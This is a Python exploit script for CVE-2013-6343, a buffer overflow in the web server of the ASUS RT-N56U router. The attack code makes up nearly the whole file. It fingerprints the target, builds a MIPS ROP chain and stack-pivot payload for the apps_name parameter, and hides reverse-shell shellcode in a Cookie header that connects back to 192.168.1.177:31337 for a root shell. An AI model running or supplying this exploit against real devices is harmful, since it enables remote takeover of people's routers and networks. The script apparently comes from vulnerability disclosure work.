#!/usr/bin/env python
from time import sleep
from sys import exit
import urllib2, signal, struct, base64, socket, ssl
# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
# [*] Discovered and Reported: October 2013
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
# [*] Contact: Twitter - @rootHak42
# [*] Software Vendor: http://asus.com
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
# [*] Software: httpd (Listens on TCP/80 and TCP/443)
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343
#
# [*] Overview:
# Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install
# supplemental applications. This install process is handled by the routers web server,
# and is susceptible to multiple Buffer Overflow attacks.
#
# Vulnerable Web Page: APP_Installation.asp
# Vulnerable HTML Parameters: apps_name, apps_flag
# Vulneralbe Source File: web.c of httpd code
# *Firmware versions prior to the tested version were vulnerable to this attack.
#
def fingerPrint(host, port, netSock):
fprint = ["RT-N56U"]
found = None
print " [*] Preparing to fingerprint the server."
try:
print " [*] Connecting to %s on port %d." % (host, port)
netSock.connect((host, port))
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print " [*] Sending fingerprint request."
netSock.send("HEAD / HTTP/1.1\r\n\r\n")
netData = netSock.recv(1024)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print " [*] Closing network socket.\n"
netSock.close()
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
for item in fprint:
if item in netData:
print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item
sleep(1)
found = item
if found == None:
print " [!!!] Server banner doesn't match available targets. [!!!]\n"
sleep(1)
exit(0)
else:
return found
def targURL():
while True:
URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")
if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":
return URL.lower()
else:
print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"
sleep(1)
def creds():
while True:
User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")
Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")
if len(User) != 0:
return User, Pass
else:
print "\n [!!!] Username cant be null [!!!]\n"
sleep(1)
def basicAuth():
auth = None
while auth != "yes" and auth != "no":
auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")
if auth.lower() == "yes":
print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"
sleep(1)
User, Pass = creds()
return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")
elif auth.lower() == "no":
print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"
sleep(1)
return 0
else:
print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth
sleep(1)
def sigHandle(signum, frm): # Signal handler
print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)
def main():
print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
[*] Discovered and Reported: October 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
[*] Contact: Twitter - @rootHak42
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: httpd (Listens on TCP/80 and TCP/443)
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
target = targURL()
try:
print "\n [*] Creating network socket"
netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if target[0:5] == "https":
host = target[8:]
port = 443
print " [*] Preparing SSL/TLS support."
https_netSock = ssl.wrap_socket(netSock)
finger = fingerPrint(host, port, https_netSock)
else:
host = target[7:]
port = 80
finger = fingerPrint(host, port, netSock)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
auth = basicAuth()
junk = "\x42" * 109
link_nop = "2Aa3"
#Base address of ld_uClibc and libc in httpd address space
ld_uClibcBase = 0x2aaa8000
libcBaseAddr = 0x2ab5f000
#Rop Chain
#<chown+68>: move v0,s0 -> sched_yield()
#<chown+72>: lw ra,28(sp) -> Rop2
#<chown+76>: lw s0,24(sp)
#<chown+80>: jr ra
#<chown+84>: addiu sp,sp,32
saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)
#<_dl_runtime_pltresolve+68>: lw ra,36(sp) -> Rop 3
#<_dl_runtime_pltresolve+72>: lw a0,16(sp)
#<_dl_runtime_pltresolve+76>: lw a1,20(sp)
#<_dl_runtime_pltresolve+80>: lw a2,24(sp)
#<_dl_runtime_pltresolve+84>: lw a3,28(sp)
#<_dl_runtime_pltresolve+88>: addiu sp,sp,40
#<_dl_runtime_pltresolve+92>: move t9,v0
#<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield()
#<_dl_runtime_pltresolve+100>: nop
saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)
#<setrlimit64+144>: addiu a1,sp,24 -> ptr to stack
#<setrlimit64+148>: lw gp,16(sp)
#<setrlimit64+152>: lw ra,32(sp) -> Rop 4
#<setrlimit64+156>: jr ra -> jump Rop 4
#<setrlimit64+160>: addiu sp,sp,40
saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)
#move t9,a1 -> ptr to jalr sp on stack
#addiu a0,a0,56
#jr t9 -> jump to stack
#move a1,a2
saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)
#sched_yield()
sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)
#Stage 1 Shellcode
jalr_sp = "\x09\xf8\xa0\x03"
#Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE
stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092
stg2_SC += "\x09\xf8\xa0\x03"# jalr sp
stg2_SC += "\x32\x41\x61"#filler for link (branch delay)
#Stage 3 Shellcode
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]
payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp
payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC
postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload
try:
print "\n [*] Preparing the malicious web request."
httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)
httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))
if auth != 0:
httpRequest.add_header("Authorization", "Basic %s" % auth)
print " [*] Successfully built HTTP POST request."
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d
[*] Waiting...""" % (host, port, len(payload))
sploit = urllib2.urlopen(httpRequest, None, 6)
if sploit.getcode() == 200:
print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"
else:
print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()
except(urllib2.URLError) as error:
print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
finally:
print " [*] %s exploit code has finished.\n" % finger
if __name__ == "__main__":
main()
